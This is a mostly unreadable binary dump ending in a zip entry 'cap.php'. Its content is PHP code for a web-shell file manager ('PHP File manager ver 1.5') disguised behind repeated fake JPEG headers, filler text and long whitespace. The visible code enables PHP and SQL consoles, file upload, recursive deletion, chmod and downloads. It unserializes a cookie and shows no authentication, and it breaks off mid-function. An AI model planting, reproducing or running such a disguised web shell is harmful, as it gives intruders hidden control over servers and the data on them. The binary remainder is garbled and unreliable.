f64NYTDܥja8cWڣIG"s Ȁbz]I3Wr>ӐN4}fв[Q|g	4±?TSh_ǲSALmZw>dlm⦐Fڠ6&t=*koB>:>:1_q0Do扶f+1A0?@0aK~;<TK@ϗGF q`[hp;^|#G 1*Wˢ:#̺;QڠPz3]

(ۚu0J";.nދ:F>'. |`:U9e>Xhu+I	&W@[{x-~l2mqY#uaAJ~$q:dxUl/xxT!Sk1 p+`UumLCwUl1}@_Kh'}nSS)Ҷ^;u3`'mzξ
QfQ~Q~v؇t[{b訬qT THe(_NLf81(8q`P>
u9=2R
OA˖HsmE`@h4AޫP_&6y@^Jldz/">y9G}~Hfnb Q*˅gP쳜\>b[	9^X͸$+i;=e(bJ_K	KMg:ӟ~=	 1x¶IdfG2*ڵCmU̪*chrS5̮
	L!a0b֊^B\mH8z){uί78\X9Zfֻ{]fPi''EqC{T"Ge%xXl<<pƳw&`o
<0śy4dJSL+hRat-қ\%mpϧ;`B^acEV
6I@p*2L	FŃeCAE4rlɾ2%Fy171nGB3;XxjY1 ڿo `|/ITNDh-+GWT+J`S3l4n&8S6a3Sk aac(\w5 Gp1
U 0@O9F&SVd,9':~zqo:qבɕ=+ǪtgO4YX*n$yWxco:5uD!2x7(1r!TuԶXi,^YHt*|6$ks45cǱE?|<M]ϣy& 9Q{.nokWGT'Qg_3 +l5\.JW`kGMf-cn7S!p7_!|hrC^|H׉F,t_N$558XU24A7UZףMNTJkqdӲUk){`+꽽9~q8ԡ-@0B|wkuL&-3H[h1|=Pva!H~s?3_C02,a *?D[`-v)eo*_`v=t*4)q0`렜
KX6 #A/}~|pBÇ?@L>w;dW_0oW8̿ÿۿÿͿͿ_w7?=;PW7 of ;C!P?g~wkwv߃<4?qo?<wR.ÇK՟	}'	Yo_ïoӟ|38_Lܛ
?xϼ|㙷|o<槟ބүӎ.Nn9;0~/	1?p$sc f40w/t@~=.Ar]%@V<9taPn
?´n'׿2>j~ŌK۹qx5G\SKsM{~u THv*6$@*(+/08 7L#T{`QG4WMAMKEQ}Zmq~FG3{Cv}n7418 `SNt~TW&ph>
4ẸY/i4΀zաfH+aa]f2ޫ{2dįr9B`<|ݜSյ'02cL[0ǊCY$[^"(^xT[l-ʉdRȧQ@f̫ȡՌq`ÝX:½#&r1tbhjjd2/<,𱗾b1kĐm<U_hF9\cʂ,{m}̏&ɱ'MhSH0=D^ZIG\Y}'j/g4ࠬàQ*A4pm"+-@ZjX# -=P~ÝT\+_9N+
A# ޓ@lLGFTt1v":O~`C;Jh
'Sp//(7p*)HL#*ٸ(i~
˛U	/''Q
8SR'RhO"P zQ# ' oZ\DŒå^45`%PH;fvk%0!ida3{6;!23ޠSq!)3
e"1YၜEv":фF#	[gE_ՍôKRGƻIz^|o|$cنܟjNm7 ŭ<5 F- p9+cTυ>X { Aqg7-jp}@}|Ź`6$G$%kѥ|tde-!oH\ފQ 'eӽ(.>lﭏ9ظ9XAA7Y}Uz{CoQOMpoڲ2叵<7^zsꍟ -4{=?jΞZk`ֈG[C/*vw-Ǝu]5|>R P
6R COd8S!JHA>gs]#Brv^8b%i_`X
b# `M/i-♶?b#V_@YXu
xf	jDIH# G @ZjNA	;VlN\?--sw{%ΰCy)h YdAߚ4Ac&]lfsۃLs\(`Nh'áP a.L[zO,i`D&ԳX]\ɋԱز*2Ao)	z8BټǹČ֨Mg
`Pc##J9~f*)wy>6rǊ V?̥T!UKʯ',yOvpspT'CkC[r׼w{*]m;ܙBāǏhP*Ms*嘔ɄSCv^Ͻ	Ok+Q/galfziYX6pp1{g lh[F9_$Yp=ڇ/_H)Lّu @I#+Y_v]Y_>?\./ֆ40"Rh [DX|SEOt3^fg3`v/0F4OKKwaQ<`A_MZq'2֛+')a+!ES,qX68MSh;)aH1+EgxMaNF%.$eP6B:dYsi	qFf3XϸIoG`h=]^SW0'7h{6:Bu.=D}p鹈o]R. \11)1Qfn'$bIiwQ	U<gf6siޟ$g1iʖHl.4aߟq`O.S\oڥ-&Hf?CsƠ.:	!>/?xei,O__:b?PNRg9_NN4Q8Qr{WAu Gd:٬(4&a!V*ui`!(s3r>[vRux	@{//Ib0Aav^R`){i܃ڐ7Mf5FfRf<o6pJCs6\jUDkZY,UяAǠ>BEba{L~\v.HI01e*u@>c6hRin)B).]Km>( )3rW~"I{^}[gLnGڡZ/ԑ@oy-MD(|1{]^TM*.S^pJa+lR9;wEw#)iI5ΤY'9NzkP	_Nq$M^ *L
`D;;ĀDE}&ͦ7f.$B ).Fi#=MHĺ)(@gضbFhZKxiPq9!	At=]L'OL^)m0U
30z3L9h6}Q%ߑҎC4iBن$@0dͼ&
,<@r#]o2rbӊҍKhy %1~oE^#T"C>}z=S1NLO^:}=LL}j?ybsRKs_G>;+=8"wtLMOK.7?~?{DzP@19$[a!sp|5txaM+ڃ$K]YS|n*(v,%q6{(u'`]
Ir:`<U$֜A/5,ʰ|!-t>>zY V9AG	:wYbP9A7ex'Pmjd}vDJ!Lq	]bRN5u3r>x
}	-1
a!	
X9;W\[ʰo<hEwUZ!``tVՓ<)L˨LJrupYƥ4'<uAyD.2RMUʹl⭒U/}f uJ_R.xf}haGq\}8,h?g}n,6&vX
q6|1[bAdo(3k	{[-`XDiԮF鼆i%7._s`Luїr4z&#)kLKPxN@5	ӕ}k2:5{`[)(vPsL8[gN 0	:՘C4#F;G[n,JxF o mp7n2<nv.^DC9~ʍQi>%x-/rk,h>/ۅp<kL=pe,Gkz;3XumyJٙZHUyNqҺKC14WJR"bKo;|,C1(F:e;|IlJCi`0	.׎TRCzIP{bxPԒR36[)
8='G%K36=#%y.ΏJ|2vX*A,⃏ܒը
2	ÆM#`_}֢li]㩯A?iyR2mC~Y
Ӿ]Mޔro8QYϬ?.d;+ ',+yh)^oιx~(&T6HKBTi(RpQ[piLӃi~Yd=cI-VvML{c֟NMY},z,+u߮3Թm=By(4&r;ƒ]Hp[*4EZP/:jB"͂f"\[,`&i;@dTƬffYwyx S6ާIO<nezi.nuLyՕ4Lzi>=:m~4kf~
i֪Org\tԸ>:TgܚgMIL'E+45Q=3(uzE(#)B%mnBX;e'RV\+S
z8oՒڶjC.ŖBק8녻Z"=FodـPLxb,N+>w̑VϞpѫϞ8<_vuis.OqR\\Vz#+ߢT/.jJ[ǓSO7$>PZ<{sb`$ph"0wTnGg8
duהϠ =^~DΐV:AF'7Ϊ|N>d~BzQ\32mVH(	w	jC?Sr=9@|P+&u8j>,wº.Ήe]wG`5Չ&K.	H1xKRoA@^=d*vJ^J∻S1ȡgzy
3b.JIXA8e6g_+WK3rW鿖J0ugp_qJ꜓茀M?-G,,pxqޤt@n\U7tTv>->p6wԭ/2

|KE8.r>a7$I("+$P0Uзڙ_ml~r躢?% BFk<Gx[QQF  XG
y@l1B?߸i@}XW﾿wvK[f'{@ ^* H`_0PY+1%h/UYO$HXo r3lH=}"Շ'(JYh`Kyj*ߓ WTf	M:&@:#H{?<߃|2O
O[Y޸  `t<c  Ye/1fx0f
v*K/isʕ{QQ6	rp%f}gDqL'ɀI*BI
>S`>^TBAcލs(cɏzoi]eھop2 "<n5l!PńЋxsꁘE_ATR4=S.Rm$`^̌ 	`d$1%[5(P&Xc*zp\_5H\}rه.dGR{ك0HGfF3ZoA.) `fQoc3B(_G7GA/%zDdW`Q'W/J? V/{?7e:7q/B2NiFpw9l<9߫&SsΞD~i8tLP=WZvЧZFw$L@F!L]uf;Pu!9<Lvo#
c#WGù86՝Q32T#6%>#Q0=~荩<%by1{z)3z93TZb e/OU@Ό N?ygP%1nJw#AԹW/LX1 0˫Xξ6r(	]W$q0	bTϓ10n34VhoCTXAN*{3[ W'!uc؈0|/) </x@㯜ԅܩ	\tu%B#4RK^*n~	"Q M+a@֘$}UfPe>~R?t>O矾Mvؿҭq0BOeCimA(N f[(qu
C 跦JO `\M|sso-a0dU2a')I|aC6-
"G00$x[,3'(\)}2NMqf,#s=el6!UdZ{_DI8j}AQ)/qP|8rd*<H[ovNh	!fف}:;QĽ]z%WCcK"h!Mq\';Xyp*&qj8%rPaxL:'8ѩb.FxP${Ե!!/g,3Wb2o}bRO(|fvB~z<\rz{5x˘iS=^`?8>mƥn2TW K}ʢ{|tf(`ZA>i%/@;DDId!9ezˡ	,)JvՇi1~	Ȇϋ+zjǓQp%C;W%<X!{LO4yv A@bL~0`B> t)TA'{'16NvLkr%xhL`\7Ó2'V38Iі@EAA7wOg:`3lc%Y꺊V06Њ<&[hsiqv}(Y|+U}x6]niJ|͆qn1^v72p|Q||]J'W(ƼVΤ	Or/7@%䅏
k;.U,Wz\?\J}PO"3/X94B%d?ؠ㴦.]|ߓ-ЧDP.|{$NG}eCafZ+0LwG=`*(@dS	!Wzs}_I5t
?gZuymt05EZ4}l=7G%/w y~^C<Yth5L3b
ו ?Dhj{p,v	\D!'6nq#7RX wB7``-Ċ׳yD"&cI]8Ke1ݺ	0"buA:ӛ815ԓq@|F78  $1\h*#梁E}H*iEDDD& oX_̈́3aAt$"Iq-Ȍߢ8QY4=Q2JKE+~]wMC<DQ3cb'j)-5='*9XlW]!ȩ߯|ll)4T͗q٘(˽@|x*Ķ{٧x<7VYje8FPOigb04itڤ֐@gz)C1^d)J\<WÕ*rŸh+su)ѐ[HNxi!D٠P[c.O]7ٱR"^yW0ʥb27x)ͱkvQON2'樘ǟDx<),xϒf @gSŎ8gZ<^3Oi$^Kt+% f3凑xaWmL<3\Y#ZC-J<|KJ:x^Oxr0otAltڏFe_zQ;^2$|sqwsaSwj$\KnYH0]N3pVcB)XQH,iT+,};˪'(}xr<O#ú<\P*j+bkO.ۣIQI<*lҏN<XyF,F|zpS?~HbȲk޻-Bt	gnB
Bi]&A-z%O`W'YWm5U?"hY1'ʲO̔dImR6%Yd$Y&whHDr=Xj&kD29ksa&k<க/˥Ds~<\OطNQ1(dƇN#ǉ(Np<<L>J=&Sb^Op$ϟV>7|hdt0vfWfnTZr@Vg639ږWR㪝_XQO-_+NbWMRF-'PMvm$-*-֭:JNԳ׵9lvҼ7?CFfTj#Fa8%k4/?ד(K>nEz}T产_t7vZ6DDLWm!>Y->mf#=fP#m$$*qr͞ P$4STuFѩZڏ>>y:_4F4]yj,hqIrOi#]7Kf깙*?W<#rPeK<{ռ_ˣQ;	Bbf<fW[w9eVtj8fBr*L\+Wl1_(bb+?O1em|&=MZk1¾R/+a1	rWcPL~RLv&Z^a9獿,;lwłKjrvOSwCqm%Pp!0j
B~wdmmŜ{NEQ@Y5e }Ok+KI>D7 =Ŧ /7r1O=Hl9;8TH&Vd}Ol;\*3̪$h4[n^I=Z5NQ9ʎ:qV>WJ?3|hf׉4SZiv\O|wGBOpBFV_f[ͧRS6QKV՚$;)Kmie+֑֕FSgEU+ϝ\j3H/ir	7Wrl)lӛKuB#o3y|co^&UcmT-@Rzy)B`u'族`X=ŹhJjk,dUE*/첼#/E^i;[kD=ħd*eW%ּD7,己q1yVxa[ŊE6}OlJ'[nr4fL[fll[KJS<|S^wm/1.$Cz+1942򶲭)\ W&<`9n{(4ׁ`1΍ZB̐6A=.fMTzPnȞZTr`9nβ;JȷSYbYԕF#J.8IO9	i.WYGy2ƛQ\"&mWZ6OQE#򘍖'M2-VڡQRORiv!3Y\JJcMljyV]\
ͺmx3M;\ԶQaZ<rJME 8kȲo+?m9vב
.How[mY+v+eo-^]bJVFBp)b],jWZ+$,w&L|ʰIlbBeZk%@X}z|"+UO3+(f/ȍ *n]pݬvYX'K͹=f_xS|UWʅ22tZ[aE1;Vkܳ'GFZdUx#^;JZVkZ݁TpqSUz9m67_V1u_l<vX[o<]6(4	/
˛RI缛?E<9[\kVZ3]ѵIc Z{i*?m`niP J7W+\y<t9NYHUjUy|{y_lFT\r2si)(~PFX{Okf_;AFNv2K?ڌltJT3hU}+O<^r:'\N
KxK%:-NOCO)@1lZ46mXg".Mg5X[ؠrw*ly;e%Vh/=Ԋx[~M`%Ǣզ2A-"ͬ9axhc]W.ۙhz<ƫ8N!mᱟu`j9)7A?_gK*pǸMmlէZ=Ğ%O5OjZ=*!WͭGx&B"K{xZ::|>uݩ'7㶡E&R|]ߪ%i죤$S.ҫ*.Ʃ(kIO9\J{s4jxQB)e&#Wf^mntw/lk(6a9/3cT	WAq/εM'+iYÛ񴳚ςA(,w=ω\B栽hN.]gϺ3p8Y-B66:IxO?evgYkjvfIZ|uN%KNZmVT[ub@ZSRnSN,߬C)^VfEm$;O8LD[,r~+מN;׎-=B/^V?{{yT~J/V-7YFE~ΟnT%Y]:V5Dtji ܬ5N椱͒sa7[7[7[7[7[7[7[7[7[7[7[7[7[7[ogiC4RN-$nlQ7g/34IʣzM|L5>fzwdmiݔMfnc`qaGJ&-5҄]{bH@Uق3{sq6ݥn<{v@1ĄH6mżEKM Mk|I!ǐ7#
OJ?(JihFra(GYuGROm0<Ds4&%VOViU1Ӧ] Y<żQy.k¨3ϕ犧R)Ӏg79RKvLCq,yJ70NhBSNbj*J-5z&Wܐ`,8,gs`c0&er@.U.fl6ߎۛ@VOh[(hj嬼ɄeyS(d`V)ǰTXPwj \|M,.ԛ;.NjT,[zzNbBǖ%7'>vFf;vpX_N;l78ӎoo96Ϟ(/f#%tȆý	zވ=/-bS:+A]#B@1^珞ȍ[Qu>g%CVC Twr'̉]+jNK[ZxV:@g<y2Y+b0Y)R6r<qi1Rgϭ,(G{Jl>z˩ڸHx'`Cx{Jw^Gl7k=?Sn?z-X òiHxyxy4!YgU@d"kCzܨF7O)EхzߩQy *p1Uڼ?UwxyY(4cզ7,d-ij,*b((\_z.Uq+jOizi^~i2Fc]!	:)s_rwźUSFFc6h
@+6|F7j(IQ=.9ɲ$xB)O\M[ոF`0&qJpvGج$93\ϴsf̶[K$٘m${`'m=N;zߟNhwS!S
mZSFjaKj[+n8l;vt(&i-1:`]6G9d	OMGVl;\w2גVsRhyiƭSD;M[iML}Rq
76WXo5:ءjW.wԱ=U&
d1)2ܭiˮSwii{6JiUS2b3D\yk/츱)AhQ$⍧V^%;=?^_θvw/4.ao*'w$ 0|h/ȅwiSa9~ũzBzVUn%m+^%˞'[= ͺ@W"I^g?;XUb#<D#p:&@[ԯ~B$a>~p;}(|5W]L%Q㏇C\$X&N&s}[%(F<#u^~"N,x-P$@9S;Z!B8*CF$j	CWCg"EY&w͡ڌ8ƵMx?SeiTè%Na*t#(G)v\~`DPs-BM#15O^LO
,}I^Ɵ
iNRѸӛTsUf%(*A'
[h ;YAUDXJ1[+'9Z HDt[Bg/#%FIt3h<2Dhcy.ߊ`GgΈVhͿCw7X '|z߸6t%ͲX,8~?p
  @K!ڗ[FZKx
=,)ԏ8X*)N(Z{ΉQN
3i3,):-5K(-hO(fG==~4lRKwt zo`;]b%}%B*hc(}%fyYb$`Imo5-W9$n@9XN\m/pؑz\=%QVL^}eywnmql5{SJd_
kvm|77(8$\Q`E|KL!Jb0-9킮Q<4I7vL"*?L7Fu1p	*0{pH?@S* I#
2C.<)ӛ>u2;pNƩ}}!/́HĒwGNSPC
TԮ38CCY
6M7u1}a
M/wbԻw\dq}oh!z55`Fdа>7v(zF9f<r?>ohH o[G'YG"D"d"m_ꌙ.wEs`n,Gd  1G Ho"7E!Q.MSE_mN噾27P	H轎$vPIJ_(ڗMƺ؛V6HRKK(F3w>?oPD6`q%LQw/qd2G~$f3<z\~.G:VW lSB`.j,>emRq`VCr?<fL0& ˽&ᘘ264'>M
f#x_+a")@@9v0F\Q<z`#hܝ*P}(>ׄB mWR?2f0Mܑ0,h!Pe~$
ZXrF$fȉL~KfdlDL7\΀[󣸣4!0ྯ5:V7Db4|$"K4p8Ό&T{Erl/N택ć䇆(>#瀅@ehP3=dǂ)sD;sX'X̃
ӗh9pi-]u/S=Z;xr^^߁Z	~M.g~F%+o$9(/+R(`LD8/g0$Y]nPx%\k]
0"_1:ִ^:镴;Leyҙzbjh^D@6]"{0oH#}0'p`"|r85h-.\=ΈjzCk1W0rru<xf}piq%eO-Дem G3娤 Н$*h۞.,A?9	<\N]:"Clz;qnTPjIphu0Ka0 XȲO uϗ8YV#&#TK_?(,EW!t+r6fCքMf	DBxMYkNucLI`w8ٜD(W.WĮ`zpZmp[of?=*W,l|3Fk!(h{SOI6-wcÝ!PN94°
)>0uH'$- Dyb<.U \~E0X8q<fY#u-^/抠m{J{J
tzUz[QFڎm3S@i_KC
W;ۋW$ԍ.o$L'X5Qe|g8zUY0^+Kaݠ+$yvӒpYlQd8H .Xvj	Lnݕ!)t:&J@ޓo =:C~ )\_kʗhWM]ڤ#ӊ.VIlO]Ip>T}tG?zvS Q~sj {]@G*ꎷEZ^9",hIY3o. &7㐒qqqUQ/E'J-=c{	еY>Ǻi`:.{'Hui\sqaVve:>tGt_3Yx_-.FNT *	llN3￻$Fnխ	3	COF'/}L[KB(t88Uc`Qe`S|b;nXI!;)KvI^D9~omZBM0]{5oF#_)tWPGKrD]?{݀lwm(A"u簾9:ס\AZ<gVhb4A2eIҴK|qo9-'˛,<m2ZYPoߔrcT2c|ߺ0PHz+]JUOtRT` >|` vhC@`AѧOwätYw@x=>517hap(@Z~!>6ŏ݁&&3{ޜWOLV9u{ C[,3&c׹fyUp `L੆ފ`r8{F^1̔+M,N.g>>34>g?Νzٹev}am,63a%Dө1 rrtO,c6!HV@MC˰3j$M猿B-ǀnq?IFid-Eu܌lhe.ΑN$>:^x+矯
CN1#W̆?dhxI;wxKOhu*g*Hr;XrOlp94Դ,C#TWEH 
%ؚ`ܟus[xR.H-7AxeIC&=\"[	{\]-Zi+C26+{-[Z}UHkC30`p؈^A-	1mF}}FP*\`u	1D4|PdY!Yq)-"k~HC ^+<ZSUƗGQ2q?eBŏP 7%=>PzCgVXK6_85;%=%4&3p2i6IJmk"FrlJ0g'2M)Ss
=C!%ۨP/qFjF6'e"\ŇM]m.^wpݭ˅~lJ:_Bs j@ut	SXwdϩߠ86hTj@.(~yYKH=PK)`Nq߻eoa25̖SM=+5?qh+X6@9藈Ss=US#|0׷|ǐT;&qQ;:W\LrTT<Ik%bC]D/wG;&PyYnQS	\	`ԱgGk}]A/wr:7UUuXρ)2co!Oa:㍹XȴENl+,֩`\v<'L2VfD9@-OV9i]U(E5r?.ޫpD_qSۏ Y=ߏ@6pVq4C}Q$|󫪦8kK)J62$02.XSnȝttG"P6_LgMvN~D'=ec-i@6jhC,;z`LPqO~ƄLnZM"Yz폑b0P^ԇH}i\!)!-9&8T&,,`ԧN`x3O!em{{
H+-W8DGMD((wc@}БЩD2c@F7hrRk3㓋+$֜AvY+.IbXJ	8u=r_@k1N]crF08}s0\7`?3РP:>)F?uvbRV`287Ȩ؆wkQ2^#75 =FKëOLOx)WX߽FWO.C ^)VP4Y_%~(
*
~#vRƹ9{yG]5K;_pv얚Uۥ` 溈]qMeN݌rf틤{F^Z\G,xo˷1IdU	I3kr]_$z>`m`U%#i:at
#gPӘSJ{#<	aDi̍vɇ1
v7jzDwR*c"
+ѴC}?a>,¤l6sy޹]LVUϯxn;6ڹlt|Ky;$cˋ+[SƤ}U`mE*IMָ))@.\C)(L+p$ z3H-˞?dEmAna⬂1nUf0J[O$?xE^X 9`ȫc줌R\p?҈N%>JGPN2C~wlcNY"u۔T7&Wӛ ѣH4R;?< [kڽz	zk.$Gowf7󁞋˲U,VS ~Ro'0?So `]& @@/duCnwy8ZZj(bs7\)X,s?u+ L@KlA0CEÆ@w+/6}	Xa#!R((ɛQmܘjԿ_=qxf. kTx˳AyWGL
s f,;Xt//"::u@oNCNȩ9gtHѦb;BؐH#	5*VG	`Y"#QG"FHhw؏ @sY`pkAU(ϡcCTQrb{~~-AA4Q	w<010eʫ(q6m@]?XtaTTT<i΀
#VwWT7O \"hLB~p!{xR0z/Tm\"5ɞxN	Cb؄dHj>(ovhfI,>294c_/B_vbua2sQrZmt}Gxìcj.	$YVͫ*/5̰ɩ~#)ޚb]R>Qs}i	"wK/xbW1t|.!>lWnc~1fuT=ۘQ_"\D7Z5j3VboޗtQҤN5/f7z:X;M@/%h~ū,/	W=	LC6j"ljsb(߃Flo\nJ8y5j2()gt :wE'/҉;3I[9(N2vm¿'sD^H<x)+yl5,+k~k	BX*
hJ!$(BlBt%*`E Ut{dd.|&jc5e8g(e2&#XZ"|u t|^jLS@,9+|wֱ>[dZ#訖d^ 0 NvФy3NVt=? ZU<ǊyĳcLt=B?bY0O1S9si\k+ʶ|s@=V!S8l4R&0  ,ɍ3[BHl:!_Fb19O_
,0ыÑ;^;eWCݜO+K^Φ'3U=Y=+!ehR4dg`5Xb|x
k{o~CwRʭcaj!Ԟ΃T[;ȍxBcu02t0@q'&~o8fY0tL!)\@k.)amZ)\xu}$;k2C4=Z ȹO8]H@U7AONu.
(3HRGkE*"[YU^c0YX+HvѤ#9O d@1=b.}$$Om4k ~/֡;w{;F8fc*9XQcu*|`Mp5݇MӖR؆awBQUP܅k} u|tb}v!Ûy
iLP8:OhأoZ4UP4##|pd[t;^|#G  U$YS.^!EW}uFuw$Ag8kQ&5p3fabHv\Npu|N\jAtMUtrz}6@=1VlL#ïÁ[xg4SF4ReP5Z!$k#<x?^6kȤ93Z꯫&h%4%
FU]~,/d '}/F;FL_&R +IǺk/<k橩sfi[jnκn[wUTmm2mJtcWĶ>Ά>Hx}tCGee2)B*Cr
dB0%%EWEǡC%uq`J|^Vx}
ZD"{n,B1{W
MlY|Kz)Y.:yg
ʋȃOCE^GGTb!8xr7,',/q+47Qd"-cAEQk)#g.6jOĄX<sCaVÌ$23#IF`@uKZ!fU4^{fWq0V1kEg!.U$J]:eW tJL[EH߽.O3?@|.C=*`QPE2<Nbp,6\8;lfX͂b<20!=d&Jr!	Q?|*n7E6Vlma\=?e&M).xpZ̵paAqX>W&40fC ƭH"uFԘj,__-"+D>=
X؉meE(jjE	f6c7M)y같51aE kVA:c2! `tErL.**x3+XrOPu<p=V't +=WU/Ϡh(p!Uz/CH5ƆtkAnޫC<efqp,nPciBm=b.Yxe!ѩ|rۜρԄ]$.O4FhrLw{>杇ߣ| 8Dzܻ}"6_m!RGtL&xp+^ŮQE3PgfX`TGs6͗ƥ"s P?ub{=F|h%	kM;o;0waէw>=}Ѝ'{ V{@{TJk}pyAiEfqm1SO> vwNVL}!5}Zbk^NܭqI4ΞX?Ϸo?~|/ \  PK     |\tF3)9 )9   cap.phpnu [        ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
